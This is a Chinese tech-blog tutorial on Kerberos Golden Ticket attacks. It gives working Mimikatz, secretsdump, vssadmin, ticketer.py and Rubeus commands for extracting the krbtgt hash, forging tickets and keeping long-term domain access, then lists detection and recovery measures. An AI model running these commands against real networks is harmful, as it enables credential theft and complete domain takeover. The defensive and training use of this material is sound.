当前位置: 首页 > article >正文

手把手教你用Mimikatz制作Golden Ticket黄金票据(附实战避坑指南)

从零到一掌握Golden Ticket攻击实战技巧与深度防御解析在网络安全领域Kerberos协议作为Windows域环境的核心认证机制其安全性直接关系到整个企业网络的基础架构防护。而Golden Ticket黄金票据攻击则是针对Kerberos协议最具威胁性的攻击手段之一。不同于常规的凭证窃取Golden Ticket允许攻击者在完全脱离域控制器的情况下自主生成任意用户的TGT票据授予票据实现持久的权限维持和隐蔽的横向移动。1. 黄金票据攻击的核心原理与技术背景Kerberos协议的设计初衷是为分布式计算环境提供安全的身份验证服务。在标准的Kerberos认证流程中当用户请求访问某服务时需要先向密钥分发中心(KDC)申请TGT然后使用TGT获取服务票据(ST)。而黄金票据攻击的精妙之处在于它完全绕过了KDC的验证环节。黄金票据攻击的关键要素包括krbtgt账户的NTLM哈希这是域控制器的数字指纹用于加密所有TGT票据域的SID安全标识符相当于域的身份证号码目标域名攻击需要明确的域环境标识获取这些信息后攻击者可以在任何机器上无论是否加入域自主生成有效的TGT票据。更危险的是由于黄金票据不依赖KDC验证即使域管理员重置了所有用户密码已生成的黄金票据依然有效——除非重置krbtgt账户的密码这通常需要域架构的重大变更。注意krbtgt账户的密码默认每40天自动轮换一次但旧密码仍会保留用于解密历史票据这使得黄金票据的有效期远超常规凭证。2. 实战环境搭建与信息收集在开始制作黄金票据前我们需要先获取几个关键信息。假设已经通过某种方式如钓鱼攻击或漏洞利用获得了域内一台普通主机的控制权。2.1 获取域基本信息首先确认当前所处的域环境whoami /all net config workstation这两个命令将显示当前用户的SID、所属域等基础信息。特别要注意的是用户SID与域SID不同——域SID是用户SID的前缀部分。例如如果用户SID是S-1-5-21-1695257952-3088263962-2055235443-1107那么域SID就是S-1-5-21-1695257952-3088263962-2055235443。2.2 提取krbtgt账户的哈希值获取krbtgt哈希是黄金票据攻击中最具挑战性的环节通常需要域管理员权限。以下是几种常见方法方法一使用Mimikatz的DCSync功能mimikatz # lsadump::dcsync /domain:目标域名 /user:krbtgt这种方法需要当前账户具备域复制权限如Domain Admins组成员。DCSync会模拟域控制器行为直接从目录服务复制数据。方法二转储NTDS.dit文件如果已控制域控制器可以提取NTDS.ditActive Directory数据库文件和SYSTEM注册表配置单元reg save HKLM\SYSTEM system.bak reg save HKLM\SAM sam.bak reg save HKLM\SECURITY security.bak然后使用secretsdump.py离线提取哈希secretsdump.py -system system.bak -ntds ntds.dit LOCAL方法三使用Volume Shadow Copy在不直接接触活动文件的情况下创建卷影副本vssadmin create shadow /forC: copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit3. 黄金票据的生成与注入获得所有必要信息后就可以生成黄金票据了。我们以Mimikatz为例演示完整流程。3.1 使用Mimikatz生成票据基本命令格式如下mimikatz # kerberos::golden /user:任意用户名 /domain:域名 /sid:域SID /krbtgt:krbtgt哈希 /ptt例如mimikatz # kerberos::golden /user:Administrator /domain:corp.com /sid:S-1-5-21-1695257952-3088263962-2055235443 /krbtgt:558ae7f88589153355cbeb046ac696df /ptt参数说明/user可以指定任意用户名即使是域中不存在的用户/ptt表示Pass The Ticket自动将生成的票据注入当前会话3.2 验证票据有效性注入票据后使用以下命令验证klist这将显示当前会话中的Kerberos票据。你应该能看到一张以指定用户名为主体的TGT票据其服务名为krbtgt/域名。3.3 常见问题排查问题一票据生成但无法使用检查域SID是否正确常见错误是使用了用户SID而非域SID确认krbtgt哈希无误注意区分NT哈希和LM哈希问题二权限不足即使使用Administrator票据某些操作仍需要实际权限尝试访问不同资源以确认票据有效性问题三时间同步问题Kerberos对时间同步要求严格默认允许5分钟偏差使用net time /domain检查时间同步状态4. 黄金票据的高级利用技巧掌握了基础用法后我们可以探索一些高级技巧提升攻击效果。4.1 自定义票据有效期默认情况下Mimikatz生成的黄金票据有效期为10年。可以通过以下参数调整/startoffset:分钟数从当前时间开始的偏移量 /endin:分钟数从startoffset开始的有效期例如生成一张有效期2小时的票据kerberos::golden /user:Admin /domain:corp.com /sid:S-1-5-21... /krbtgt:hash /ptt /startoffset:0 /endin:1204.2 跨域黄金票据在具有信任关系的多域环境中可以创建跨域黄金票据/rc4:信任域的krbtgt哈希 /sids:目标域的额外SID4.3 持久化与隐蔽使用为避免频繁注入引起怀疑可以将票据保存到文件kerberos::golden /user:Admin /domain:corp.com /sid:... /krbtgt:... /ticket:golden.kirbi需要使用时再注入kerberos::ptt golden.kirbi5. 防御策略与检测方法了解了攻击手法后我们更需要关注如何防护。以下是企业可采取的多层次防御措施。5.1 预防性措施定期重置krbtgt账户密码微软建议在域控升级后重置两次间隔10小时以上使用专用脚本安全执行此操作最小权限原则严格限制具有域复制权限的账户实施特权访问工作站(PAW)策略网络分段隔离域控制器限制对其的访问监控域控制器上的异常活动5.2 检测技术监控DCSync操作审核事件ID 4662目录服务访问特别关注对krbtgt账户的复制请求分析Kerberos流量检测异常的TGT请求模式关注票据中的异常时间戳SIEM规则示例EventID4769 AND TicketOptions0x40810000 AND TicketEncryptionType0x175.3 应急响应发现黄金票据攻击后应立即重置krbtgt账户密码两次间隔大于10小时撤销所有现有的Kerberos票据重启KDC服务审查所有特权账户的访问记录更新域中所有主机的凭据6. 替代工具与扩展阅读除了Mimikatz安全研究人员还开发了其他可用于黄金票据攻击的工具。6.1 Impacket套件中的ticketer.pyticketer.py -nthash krbtgt哈希 -domain-sid 域SID -domain 域名 用户名生成的票据可以导出并在Windows上使用export KRB5CCNAME票据文件6.2 RubeusPowerShell实现的Kerberos操作工具.\Rubeus.exe golden /rc4:krbtgt哈希 /domain:域名 /sid:域SID /user:任意用户名 /ptt6.3 推荐学习资源《Kerberos: The Definitive Guide》Microsoft的Securing Privileged Access参考架构MITRE ATTCK中的T1558.001技术条目在实际渗透测试中黄金票据只是权限维持的一种手段。真正专业的安全测试应当遵循严格的道德准则和授权范围任何未经授权的测试都可能构成违法行为。对于企业安全团队而言理解这些攻击技术的原理和特征才能构建更有效的防御体系。

相关文章:

手把手教你用Mimikatz制作Golden Ticket黄金票据(附实战避坑指南)

从零到一掌握Golden Ticket攻击:实战技巧与深度防御解析 在网络安全领域,Kerberos协议作为Windows域环境的核心认证机制,其安全性直接关系到整个企业网络的基础架构防护。而Golden Ticket(黄金票据)攻击,则…...

链表 双指针

1. 快慢指针(起点不一致) 起点不一致的快慢指针:快指针先走 n 步,然后两个指针同时移动,快指针到达末尾时,慢指针正好在目标位置。 初始化:两个指针 slow、fast 都指向头节点。快指针先行&#…...

Nginx 入门教程(安装、反向代理、负载均衡、动静分离)

一、Nginx 简介1. 什么是 Nginx?Nginx(发音 engine x)是一款由俄罗斯开发的 高性能 Web 服务器、反向代理服务器,采用 C 语言编写,具有占用内存少、并发能力强的特点,在高并发场景下表现优异。2. Nginx 的主…...

[虚拟机] VMware启动Ubuntu虚拟机,但因为ext4文件系统损坏,无法启动的解决方法

文章目录问题描述解决步骤最后的提醒问题描述 解决步骤 进入恢复模式(Recovery Mode) 重启你的 Ubuntu 虚拟机。 在虚拟机刚启动、屏幕还黑着的时候,立刻长按键盘上的 Shift 键(或者不断敲击 Esc 键),直到…...

逆向工程助手:自动化二进制分析框架的设计与实践

1. 项目概述:逆向工程助手的诞生与定位在软件安全、漏洞研究、恶意代码分析乃至软件兼容性开发的领域里,逆向工程(Reverse Engineering)一直是一项核心且极具挑战性的技能。它要求从业者不仅要有扎实的编程功底,更需要…...

收藏!小白程序员必看:OpenClaw“养龙虾”背后的AI大模型浪潮与机遇

OpenClaw等AI Agent工具的火爆,标志着大模型技术进入大众视野。文章探讨了AI对就业市场的双重影响:一方面,自动化可能取代重复性工作(如数据录入、客服),引发就业焦虑;另一方面,AI催…...

OceanBase 版本扫盲与选型指南

前言:分布式数据库的"版本选择题"随着 OceanBase 进入 4.x "单机分布式一体化"时代,其版本迭代速度显著加快。对于架构师而言,理解版本号不仅是看更新了哪些功能,更是要读懂底层架构的演进路线。在 2026 年的…...

字基网络芯片:让“成人的AI”走进物理世界 ——AGI芯片的终极范式革命

# 字基网络芯片:让“成人的AI”走进物理世界 ## ——AGI芯片的终极范式革命**作者**:归来的星辰 **首发**:知乎(2026年4月26日) **协议**:CC BY-SA 4.0(可自由转载、改编、商业化使用&#xff0…...

面试被问 MySQL 慢 SQL 怎么排查?看完这篇直接给面试官讲明白

做 Java 后端开发,不管是自己练手的电商项目,还是公司线上业务,几乎都会被慢 SQL 毒打:接口响应超时、数据库 CPU 直接打满,甚至引发服务雪崩。 几乎所有的项目中都会遇见慢SQL的问题,相信大家在开发过程中…...

ScaleLLM:基于向量化与编译技术的大模型推理引擎部署与优化指南

1. 项目概述:当大模型遇见“向量化”引擎最近在折腾大语言模型(LLM)推理部署的朋友,估计都绕不开一个核心痛点:吞吐量。无论是想用开源模型搭建一个对内的知识库问答系统,还是想对外提供稳定的API服务&…...

室内儿童淘气堡中海洋球闯关与男生女生向前冲游戏的机制差异、体验比较及教育价值研究

摘要: 在国内室内淘气堡这一主流儿童游乐形态中,海洋球闯关与男生女生向前冲作为两类具有代表性的互动游戏,承载着截然不同的儿童发展功能与社交属性。本文基于2026年全国多个城市淘气堡实地观测与家长访谈数据,系统剖析两类游戏在…...

高中化学资源合集(第三辑)

洋葱学院高中化学-人教版 文件大小: -内容特色: 人教版高中化学同步动画精讲,覆盖必修选修适用人群: 高一至高三学生及化学教师核心价值: 5分钟短视频拆解重难点,提分立竿见影下载链接: https://pan.quark.cn/s/87865ac82540 初高中化学火花学院&#…...

MatrixFusion 全视频融合,一屏统览危化全域态势

MatrixFusion 全视频融合,一屏统览危化全域态势前言危化园区场景复杂、监控点位分散、视频画面割裂,传统视频监控长期存在单路画面孤立、跨区域无联动、全局态势不可视、隐患漏判难预警等行业顽疾,单一视频画面无法覆盖罐区、管廊、作业区、出…...

Pixel2Geo 厘米级定位,危化园区无感全域管控

Pixel2Geo 厘米级定位,危化园区无感全域管控 前言 危化园区高危场景复杂、管线密集、动火作业频繁、安全管控容错率极低,传统UWB、GPS、穿戴标签定位存在部署成本高、信号遮挡失效、跨相机断链、人员抵触管理等诸多局限,无法实现全域不间…...

2026最权威的六大AI辅助论文网站解析与推荐

Ai论文网站排名(开题报告、文献综述、降aigc率、降重综合对比) TOP1. 千笔AI TOP2. aipasspaper TOP3. 清北论文 TOP4. 豆包 TOP5. kimi TOP6. deepseek 于当下的学术写作范围里头,AI工具已然变成了能够提高效率以及质量的关键辅助方式…...

扣子实战:告别剪辑熬夜!Seedance2.0 联动扣子,一键生成专业口播电商带货短视频

大家好,我是专注于AI的咕咕姐。 CozeSeedance一键生成爆火电商口播带货短视频做电商、玩短视频的朋友,是不是都有同一个痛点? 想做带货口播视频,没人出镜、不会写脚本、不懂剪辑配音,花钱找人拍成本高,自己…...

认识BLE MESH架构和实际开发过程

基础参考: BLE MESH基础知识总结-CSDN博客 架构概述 传统蓝牙的Host/Controller架构,在Mesh协议栈中被完整保留了。 Mesh并非抛弃了这一经典架构,而是在其基础之上,新增了一套独立的网络层。简单来说,它是在同一个地基…...

(初阶) 从零开始:Tushare环境配置与基础数据获取

去年接触到量化投资这个概念时,我面对的第一个问题不是策略怎么写、回测怎么做,而是——数据从哪来?市面上主流的金融数据终端动辄上万一年,对个人量化爱好者来说实在吃不消。 幸运的是,我遇到了Tushare。这是一个完全…...

四十三、网络编程(下)——TCP 编程与 HTTP 入门

😫 痛点引入:UDP 发出去就不管了,万一丢包怎么办?文件上传必须每字节都不能少! TCP 协议应运而生——面向连接、可靠传输、三次握手确认!☎️ 下篇手写 TCP 客户端-服务端、文件上传、多线程并发服务器&…...

梳理一下前端模块化规范:CommonJS ESM AMD CMD UMD

前端模块化规范在发展过程中出现过多种规范,大多开发者都对这些名词有个印象,但问起来又有些模糊。本文的目的是做一个梳理,帮助记忆。先上一张对比表:类型核心定位语法关键词适用环境特点CommonJS(CJS)Nod…...

AUTOSAR: RTE概述

类比:RTE就类似于电话接线员(向他人打电话先将电话信息传给接线员,再由接线员传给被接受人)。RTE管理SWC与SWC之间、SWC与BSW之间的通信信息。比如,SWC1要将信息传给SWC2,可SWC2正在执行任务,RT…...

【PAT甲级真题】- Elevator(20)

题目来源 Elevator 题目描述点击链接自行查看 注意点: 停在同一层时多等5秒 Description The highest building in our city has only one elevator. A request list is made up with N positive numbers. The numbers denote at which floors the elevator will…...

告别Keil默认丑字体!手把手教你配置VS Code同款暗黑主题(附global.prop文件)

告别Keil默认丑字体!手把手教你配置VS Code同款暗黑主题(附global.prop文件) 作为一名嵌入式开发者,每天面对Keil那套灰白单调的编辑器界面,眼睛的疲劳感总是来得特别快。尤其当你在VS Code的暗黑主题下写完前端代码&a…...

别再复制粘贴了!程序员必备的Unicode汉字符号速查表(含一键复制)

程序员必备的Unicode汉字符号高效输入指南 1. 为什么需要掌握Unicode汉字符号? 在日常开发工作中,我们经常需要在代码注释、文档说明或UI界面中添加一些特殊符号来增强表达效果。比如用箭头符号表示流程走向,用数学符号展示公式逻辑&#xff…...

鸿蒙NEXT开发从零到一:手把手搭建开发环境并发布第一个应用

系列文章:鸿蒙NEXT开发实战系列 -- 第1篇(共5篇) 适合人群:零基础入门,或有 Android/iOS 经验的开发者 开发环境:DevEco Studio 5.0.5 | HarmonyOS NEXT (API 14) 阅读时长:约30分钟 上一篇&…...

AS5600磁编码器避坑指南:从I2C通信失败到角度跳变的5个常见问题及解决方法

AS5600磁编码器实战避坑手册:5个高频故障的工程级解决方案 磁编码器在电机控制、机器人关节定位等场景中扮演着关键角色,而AS5600凭借其高性价比和I2C接口的便利性成为许多工程师的首选。但在实际部署中,从I2C通信失败到角度跳变等问题常常让…...

吃透C++ AVL树:原理+完整实现,新手也能轻松上手

文章目录 前言一、先搞懂:什么是AVL树?核心特性是什么?二、AVL树的C完整实现(新手可直接复制运行)三、AVL树的删除操作(可选,进阶内容)四、AVL树的性能与应用场景五、新手常见误区&a…...

为AI编码助手集成sh-guard:语义化Shell命令安全防护实践

1. 项目概述:为AI编码助手装上“安全刹车”最近在折腾各种AI编码助手,从Cursor到Claude Code,再到本地部署的Codex,效率提升确实肉眼可见。但用久了,心里总有点发毛——这些AI助手动动嘴皮子就能执行rm -rf、curl | ba…...

别再让Excel导入报错!用EasyExcel+自定义监听器搞定6种数据校验(附完整代码)

用EasyExcel构建企业级Excel导入校验体系的实战指南 每次运营人员上传Excel表格时,后台服务就像在拆盲盒——你永远不知道会收到格式混乱的数据、缺失的字段还是重复的记录。传统的数据校验方式往往在全部读取完成后才进行验证,这不仅浪费服务器资源&…...

开源机械爪项目全解析:从设计到ROS集成

1. 项目概述:一个开源协作的“机械爪”项目最近在GitHub上闲逛,发现了一个挺有意思的项目,叫lambertse/openclaw-lambertse-team。光看名字,你可能会有点懵,这“openclaw”是啥?“lambertse-team”又是谁&a…...